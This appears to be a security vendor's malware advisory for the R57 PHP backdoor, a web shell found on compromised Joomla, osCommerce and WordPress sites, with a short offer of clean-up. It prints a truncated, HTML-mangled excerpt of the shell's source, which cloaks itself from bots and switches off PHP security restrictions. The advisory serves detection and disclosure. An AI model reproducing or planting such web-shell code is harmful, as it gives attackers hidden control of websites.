Backdoor: PHP:R57:01

Description: We detected the “R57″ backdoor that allows attackers to access, modify and reinfect your site. It is often hidden in the filesystem and hard to find without access to the server or logs.

Affecting: Any web site (common on compromised Joomla, osCommerce and WordPress sites)

Clean up: You can also sign up with us and let our team remove the malware for you.

Malware dump:
<?php<br /> if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header(“HTTP/1.0 404″);exit(“</p> <h1>Not Found</h1> <p>“);}</p> <p>$language="eng";<br /> $auth = 0;<br /> $name=”;<br /> $pass=”;<br /> //ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8<br /> @setlocale(LC_ALL,’ru_RU.cp1251′);</p> <p>@ini_restore(“safe_mode”);<br /> @ini_restore(“open_basedir”);<br /> @ini_restore(“safe_mode_include_dir”);<br /> @ini_restore(“safe_mode_exec_dir”);<br /> @ini_restore(“disable_functions”);<br /> @ini_restore(“allow_url_fopen”);<br /> ..

More information: Backdoor: PHP:R57:01